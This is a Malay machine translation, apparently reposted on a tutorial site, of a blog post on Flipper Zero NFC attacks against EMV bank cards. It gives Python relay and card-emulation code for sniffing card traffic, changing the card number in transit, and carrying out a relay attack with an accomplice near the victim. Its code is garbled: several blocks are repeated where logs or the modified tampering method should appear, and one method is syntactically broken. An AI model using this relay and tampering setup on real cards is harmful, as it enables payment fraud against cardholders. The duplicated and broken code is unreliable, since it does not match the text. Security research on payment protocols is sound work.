Rumah > pembangunan bahagian belakang > Tutorial Python > Flipper Zero NFC Hacking - Perbankan EMV, Serangan Man-in-the-Middle dan Relay

Flipper Zero NFC Hacking - Perbankan EMV, Serangan Man-in-the-Middle dan Relay

Linda Hamilton
Lepaskan: 2024-12-23 06:32:48
asal
204 orang telah melayarinya

Dalam siaran kami sebelum ini, kami meneroka cara Flipper boleh berfungsi sebagai kedua-dua pembaca kad tanpa sentuh NFC dan emulator kad NFC. Apabila kami menggabungkan kedua-dua fungsi ini, pelbagai kemungkinan senario serangan pada transaksi pembaca kad terserlah:

  • Adakah mungkin untuk menghidu komunikasi?, bermakna memintas dan memantau data yang ditukar antara dua peranti tanpa mengubahnya
  • Bolehkah serangan man-in-the-middle (MitM) dilakukan? Secara khusus, bolehkah kami memintas dan mengubah komunikasi antara kad dan pembaca, menyuntik atau mengubah suai data dalam masa nyata?
  • Adakah kad saya terdedah kepada serangan geganti? Seorang penyerang, diletakkan berhampiran kad, berkomunikasi dengannya dan menyampaikan arahan/tindak balas kepada rakan sejenayah berhampiran pembaca, mengakibatkan menipu pembaca untuk memproses transaksi seolah-olah kad itu hadir. Ini membolehkan transaksi tanpa kebenaran, walaupun kad tidak berada berdekatan dengan terminal.

Dalam siaran ini, kami akan menangani tiga soalan ini secara terperinci.

1- Apa yang kita ingin capai?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Rajah di atas (tersedia dalam kualiti yang lebih tinggi di sini) menggambarkan persediaan yang kami sasarkan untuk menguji pelbagai serangan yang diterangkan sebelum ini.

  1. Terdapat Telefon dengan aplikasi yang bertujuan untuk membaca data daripada kad bank.
  2. Telefon berkomunikasi dengan Flipper Zero, yang beroperasi dalam mod emulasi kad.
  3. Flipper Zero disambungkan ke PC, yang memajukan arahan yang diterima ke pembaca PC/SC yang disambungkan kepadanya.
  4. Pembaca PC/SC menghantar arahan ke kad bank sebenar.
  5. Kad sebenar memproses arahan dan bertindak balas, dengan respons bergerak kembali dengan cara yang sama: melalui pembaca PC/SC, PC dan akhirnya ke telefon.
  6. Sementara itu, Skrip Python kami yang dijalankan pada PC memintas arahan dan respons ini, membenarkan pengubahsuaian masa nyata pada data semasa ia melaluinya.

Sebelum ini, kami memunggah semua logik pemprosesan data ke skrip Python yang berjalan di luar Flipper. Pendekatan ini menghapuskan keperluan untuk mengemas kini atau memuat naik perisian tegar baharu setiap kali kami ingin membuat perubahan. Walau bagaimanapun, satu persoalan timbul: adakah proksi Python ini akan memperkenalkan kependaman yang boleh mengganggu komunikasi dan menyebabkannya gagal?

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Sebelum menjawab soalan ini, mari kita lihat skrip Python yang akan kami gunakan untuk menyediakan konfigurasi ini.

2 - Penyediaan skrip Python

Dalam catatan blog sebelum ini, kami membincangkan dua komponen utama persediaan ini:

  • Meniru kad menggunakan Flipper Zero.
  • Menggunakan pembaca PC/SC untuk berkomunikasi dengan kad.

Sekarang, ia hanyalah soal menghubungkan kedua-duanya bersama. Apa sebenarnya yang kita bincangkan?

  • Apabila Flipper mengesan medan, pembaca mesti menghidupkan kad.
  • Sebaliknya, apabila Flipper mengesan medan telah dimatikan, pembaca mesti memotong kuasa pada kad.
  • Flipper bertanggungjawab menguruskan komunikasi TPDU. Ini kerana pembaca PC/SC hanya mengendalikan arahan pada peringkat TPDU:
    • Sebaik sahaja Flipper menerima APDU yang lengkap, ia menghantarnya kepada pembaca.
    • Pembaca memajukan arahan ke kad sebenar dan kemudian menyampaikan respons kad kembali ke Flipper.
    • Flipper memproses respons ini dan menghantarnya dalam format TPDU.

Keperluan untuk pembaca ini membawa kepada penciptaan kelas Pembaca abstrak, yang diterangkan di bawah. Selain itu, kami memperkenalkan kaedah untuk mewujudkan hubungan dengan pembaca.

class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass
Salin selepas log masuk
Salin selepas log masuk

Seterusnya, kami mencipta kelas PCSCReader minimalis di bawah untuk berinteraksi dengan pembaca PC/SC.

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp
Salin selepas log masuk
Salin selepas log masuk

Kini, kita boleh beralih kepada pelaksanaan emulator kad, yang dirujuk sebagai Emu, seperti yang ditunjukkan di bawah. Ia menerima objek Pembaca pilihan sebagai parameter. Jika disediakan, ia mewujudkan hubungan dengan pembaca.

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()
Salin selepas log masuk
Salin selepas log masuk

Seterusnya, kami mentakrifkan tiga kaedah untuk menyampaikan peristiwa kepada pembaca: mematikan medan, menghidupkan medan dan menghantar APDU.

# class Emu(Iso14443ASession):
    def field_off(self):
        print("field off")
        if self.reader:
            self.reader.field_off()

    def field_on(self):
        print("field on")
        if self.reader:
            self.reader.field_on()

    def process_apdu(self, apdu):
        if self.reader:
            return self.reader.process_apdu(apdu)
        else:
            self.process_function(apdu)
Salin selepas log masuk

Seterusnya, kami menambah baik kaedah yang bertanggungjawab untuk menguruskan komunikasi arahan emulator kad di peringkat TPDU. Terutama, apabila arahan APDU yang lengkap diterima, kaedah process_apdu dipanggil untuk memajukannya kepada pembaca dan mendapatkan semula respons daripada kad sebenar.

# class Emu(Iso14443ASession):
    def rblock_process(self, tpdu: Tpdu) -> Tuple[str, bool]:
        print("r block")
        if tpdu == "BA00BED9":
            rtpdu, crc = "BA00", True

        elif tpdu.pcb in [0xA2, 0xA3, 0xB2, 0xB3]:
            if len(self.iblock_resp_lst):
                rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True
            else:
                rtpdu = self.build_rblock(ack=True).hex()
                crc = True

        return rtpdu, crc

    def low_level_dispatcher(self):
        capdu = bytes()
        ats_sent = False

        iblock_resp_lst = []

        while 1:
            r = fz.emu_get_cmd()
            rtpdu = None
            print(f"tpdu < {r}")
            if r == "off":
                self.field_off()
            elif r == "on":
                self.field_on()
                ats_sent = False
            else:
                tpdu = Tpdu(bytes.fromhex(r))

                if (tpdu.tpdu[0] == 0xE0) and (ats_sent is False):
                    rtpdu, crc = "0A788082022063CBA3A0", True
                    ats_sent = True
                elif tpdu.r:
                    rtpdu, crc = self.rblock_process(tpdu)
                elif tpdu.s:
                    print("s block")
                    # Deselect
                    if len(tpdu._inf_field) == 0:
                        rtpdu, crc = "C2E0B4", False
                    # Otherwise, it is a WTX

                elif tpdu.i:
                    print("i block")
                    capdu += tpdu.inf

                    if tpdu.is_chaining() is False:
                        rapdu = self.process_function(capdu)
                        capdu = bytes()
                        self.iblock_resp_lst = self.chaining_iblock(data=rapdu)
                        rtpdu, crc = self.iblock_resp_lst.pop(0).hex(), True

                print(f">>> rtdpu {rtpdu}\n")
                fz.emu_send_resp(bytes.fromhex(rtpdu), crc)
Salin selepas log masuk

Akhir sekali, kami melaksanakan kaedah yang digunakan untuk memulakan emulasi kad daripada Flipper Zero.

# class Emu(Iso14443ASession):
    def run(self):
        self.drv.start_emulation()
        print("...go!")
        self.low_level_dispatcher()
Salin selepas log masuk

Skrip Python sudah sedia; sekarang mari kita lihat persediaan perkakasan yang akan kita gunakan untuk mengujinya.

3 - Eksperimen dijalankan di garaj kami

Di bawah ialah replikasi kecil persekitaran serangan kami. Dari kiri ke kanan, kami ada:

  • Telefon Android yang menjalankan aplikasi untuk membaca kad perbankan NFC. Dalam kes kami, ia adalah NFC-EMV-Reader (tersedia di GitHub - NFC-EMV-Reader). Walaupun agak ketinggalan zaman, ia berfungsi dengan sempurna untuk tujuan demonstrasi. Peranti ini menyerupai terminal yang cuba berkomunikasi dengan kad NFC. Ia tidak disambungkan kepada mana-mana peranti lain.
  • Flipper Zero, yang bertindak sebagai emulator kad NFC. Ia disambungkan ke komputer (tidak kelihatan dalam imej).
  • Pembaca PC/SC, juga disambungkan ke komputer.
  • Kad perbankan NFC sebenar, mewakili kad sebenar yang disasarkan dalam persediaan ini.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Sempurna, kami kini mempunyai semua komponen yang diperlukan untuk melakukan serangan! Jom lawan!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

4 - Komunikasi menghidu

Kita boleh cuba menghidu dahulu, bermakna arahan/balas APDU daripada Flipper dimajukan ke kad, tanpa sebarang pengubahsuaian.

Ini berfungsi dengan sempurna dan kekal stabil, dengan kod Python bertindak sebagai perantara yang tidak mempunyai kesan yang ketara! Jika proksi Python menambah terlalu banyak kependaman dan terminal mula merengek tentang kad yang terlalu perlahan, kami mempunyai penyelesaian untuk itu. Sesuatu yang saya belum sempat laksanakan (belum):

  • Ia adalah arahan TPDU yang dipanggil Sambungan Masa Tunggu (WTX).
  • Kad menghantar arahan ini apabila memerlukan masa tambahan untuk melaksanakan operasi intensif sumber, seperti kriptografi.
  • Pembaca mentafsirkan ini sebagai isyarat bahawa kad masih diproses dan terminal bertindak balas dengan pengakuan.
  • Secara teorinya, kad boleh menghantar seberapa banyak arahan WTX yang dikehendaki.

Di bawah ialah ekstrak log.

  • kad telah dihidupkan (medan off/field dihidupkan)
  • Terminal cuba memilih aplikasi kad menggunakan arahan APDU SELECT: 00a4040007d276000085010100. Di sini, pengecam aplikasi (biasanya dinamakan AID) ialah d2760000850101. Apabila menyemak senarai AID kad pada pangkalan data AID komprehensif EFTLab, kami mendapati bahawa AID ini sepadan dengan Aplikasi Tag NDEF Jerman, yang dilaksanakan pada cip NXP.
  • Aplikasi ini tidak terdapat pada kad, jadi kad bertindak balas dengan perkataan status dua bait 6A82, menunjukkan bahawa ia tidak mengenali aplikasi yang diminta.
class Reader():

    def __init__(self):
        pass

    def connect(self):
        pass

    def field_off(self):
        pass

    def field_on(self):
        pass

    def process_apdu(self, data: bytes) -> bytes:
        pass
Salin selepas log masuk
Salin selepas log masuk

Malah, sekeping kad boleh mempunyai ratusan aplikasi berbeza yang dipasang padanya, setiap satu dengan BANTUAN uniknya sendiri. Terminal tidak cuba mencuba semuanya satu demi satu. Inilah sebabnya, dalam domain perbankan tanpa sentuh, terdapat aplikasi khusus pada semua kad yang direka bentuk untuk menunjukkan aplikasi perbankan yang tersedia pada kad. AIDnya ialah 325041592e5359532e4444463031, yang diterjemahkan kepada ASCII sebagai 2PAY.SYS.DDF01.

Kemudian dalam komunikasi, kita dapat melihat aplikasi ini dipanggil (seperti yang ditunjukkan di bawah). Oleh itu, pemilihan sebelumnya bagi aplikasi dengan AID D2760000850101, seperti yang dibincangkan sebelum ini, nampaknya luar biasa.

class PCSCReader(Reader):
    def __init__(self):
        pass

    def connect(self):
        available_readers = readers()

        if len(available_readers) == 0:
            print("No card reader avaible.")
            sys.exit(1)

        # We use the first detected reader
        reader = available_readers[0]
        print(f"Reader detected : {reader}")

        # Se connecter à la carte
        self.connection = reader.createConnection()
        self.connection.connect()

    def process_apdu(self, data: bytes) -> bytes:
        print(f"apdu cmd: {data.hex()}")
self.connection.transmit(list(data))
            resp = bytes(data + [sw1, sw2])
        print(f"apdu resp: {resp.hex()}")
        return resp
Salin selepas log masuk
Salin selepas log masuk

Apabila menghuraikan respons, anda dapat melihat bahawa ia menunjukkan (antara butiran lain) kehadiran aplikasi dengan AID A0000000041010, yang sepadan dengan MasterCard.

Oleh itu, telefon akhirnya memilih aplikasi ini.

Selepas itu, ia mendapatkan semula pelbagai butiran daripada kad, termasuk Nombor Akaun Utama (PAN). Nombor yang dipaparkan pada kad sepadan dengan nombor yang ditunjukkan pada terminal, mengesahkan bahawa serangan geganti kami, yang bergantung pada menghidu mudah, berjaya!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Sudah tentu, alatan seperti Proxmark menjadikan menghidu lebih mudah, tetapi mengapa menjadikannya mudah apabila anda boleh menjadikannya rumit ;) ?

5 - Lelaki-di-tengah

Sekarang, mari kita beralih kepada serangan lelaki-di-tengah. Ini bermakna kita bukan sahaja akan mendengar komunikasi tetapi secara aktif mengubahnya. Satu kes penggunaan yang menarik boleh mengubah suai nombor kad, contohnya, menukar 5132 kepada 6132.

Merujuk kembali kepada log daripada komunikasi kami sebelum ini, kami dapat melihat bahawa data ini dihantar dalam teks biasa. Ia diambil daripada kad menggunakan arahan READ RECORD seperti 00B2010C00 dan 00B2011400.

Memandangkan data tidak disulitkan dan tidak mempunyai perlindungan integriti, kami boleh mengubah suainya seperti yang dikehendaki. Untuk melaksanakan ini, kami hanya mengemas kini kaedah process_apdu dalam kelas PCSCReader kami untuk mengendalikan pengubahan.

class Emu(Iso14443ASession):
    def __init__(self, cid=0, nad=0, drv=None, block_size=16, process_function=None, reader=None):
        Iso14443ASession.__init__(self, cid, nad, drv, block_size)
        self._addCID = False
        self.drv = self._drv
        self.process_function = process_function
        self._pcb_block_number: int = 1
        # Set to one for an ICC
        self._iblock_pcb_number = 1
        self.iblock_resp_lst = []
        self.reader = reader
        if self.reader:
            self.reader.connect()
Salin selepas log masuk
Salin selepas log masuk

Dan seperti yang ditunjukkan dalam imej di bawah, aplikasi itu sama sekali tidak mengetahui pengubahsuaian itu!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Mengapa ia berfungsi? Jawapannya ada dalam imej di bawah yang menerangkan lapisan komunikasi yang berbeza:

  • Di bahagian bawah, teknologi asas, ISO-14443, mengendalikan komunikasi lapisan fizikal. Sifar sifar menukar data mengikut spesifikasi ini.
  • Kemudian, kami mempunyai TPDU. Data ditukar dalam TPDU, dilindungi oleh CRC awam hanya untuk integriti. Akhir sekali, kita mempunyai lapisan APDU, yang terdiri daripada arahan dan respons daripada aplikasi kad. Terdapat tiga tahap perlindungan yang mungkin:
    1. Tiada Perlindungan: Perintah dan respons tidak mempunyai perlindungan integriti mahupun kerahsiaan. Ini adalah kes dalam persediaan kami, menjadikannya sangat mudah untuk mengubah suai komunikasi.
    2. Penyulitan Separa: Sama ada arahan atau respons disulitkan sebahagiannya. Ini dilihat dalam beberapa arahan perbankan NFC, di mana kriptogram disertakan untuk mengesahkan ketulenan komunikasi.
    3. Penyulitan Penuh: Kedua-dua arahan dan respons disulitkan sepenuhnya, memberikan perlindungan lengkap. Walau bagaimanapun, ini tidak dilaksanakan dalam kad EMV.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Kita juga boleh berseronok... Memandangkan saya membuat pengubahsuaian dengan tergesa-gesa, saya kadang-kadang mengubah data secara rawak. Dalam satu keadaan, seperti yang ditunjukkan dalam imej di bawah, ini menyebabkan aplikasi memaparkan blok aksara yang besar untuk nombor kad, walaupun ia sepatutnya dihadkan kepada 16 digit!

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Ini membuka beberapa kemungkinan menarik untuk eksperimen kabur.

6 - Serangan berganti-ganti

Seperti yang dinyatakan pada permulaan catatan blog ini, serangan geganti terdiri daripada memintas dan menyampaikan komunikasi antara dua pihak (cth., kad NFC dan terminal) tanpa mengubahnya, memperdaya terminal untuk mempercayai ia berkomunikasi dengan yang sah kad dalam masa nyata.

Flipper Zero NFC Hacking - EMV Banking, Man-in-the-Middle, and Relay Attacks

Seorang penggodam mahu membuat pembayaran di Terminal. Dia menyampaikan komunikasi terminal kepada rakan sejenayah berhampiran mangsa, yang kemudiannya berkomunikasi dengan kad mangsa tanpa pengetahuannya.

Percubaan sebelumnya menunjukkan bahawa serangan ini boleh dilaksanakan dalam persekitaran terkawal, seperti garaj. Walau bagaimanapun, dalam senario dunia sebenar, terdapat cabaran tambahan untuk dipertimbangkan.

  • Dekat Diperlukan: Penyerang mesti berada berhampiran kad. Jadi, semasa COVID, dengan penjarakan sosial, ia adalah sangat mudah, jelas sekali.
  • Sahabat di POS: Orang kedua diperlukan berhampiran terminal.
  • Komunikasi Kependaman Rendah & boleh dipercayai: Kelewatan dalam menyampaikan isyarat boleh mengakibatkan kegagalan, dan komunikasi yang boleh dipercayai adalah penting untuk kejayaan. Untuk menangani cabaran ini, jenis serangan lain boleh digunakan: serangan ulang tayang.
    • Penyerang berkomunikasi dengan mangsa kad seolah-olah ia adalah terminal yang sah, merekodkan respons kad.
    • Penyerang kemudian memainkan semula respons yang direkodkan ke terminal.
    • Walaupun penggunaan data rawak dalam arahan terminal boleh menghalang serangan main semula, rawak kadangkala kurang mantap daripada yang kelihatan. Walau bagaimanapun, menerokai kelemahan ini adalah di luar skop blog ini.

Salah satu langkah balas utama terhadap serangan geganti ialah mengukur masa komunikasi, kerana geganti memperkenalkan kelewatan yang ketara. Walau bagaimanapun, protokol EMV yang lebih lama tidak termasuk perintah untuk memudahkan semakan masa sedemikian.

Kesimpulan

Kami telah sampai ke penghujung catatan blog ini. Saya harap anda menikmati kandungannya! Kod Python dan perisian tegar Flipper Zero yang diubah suai tersedia pada GitHub saya.

https://github.com/gvinet/pynfcreader
https://github.com/gvinet/flipperzero-firmware

Atas ialah kandungan terperinci Flipper Zero NFC Hacking - Perbankan EMV, Serangan Man-in-the-Middle dan Relay. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

sumber:dev.to
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Artikel terbaru oleh pengarang
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan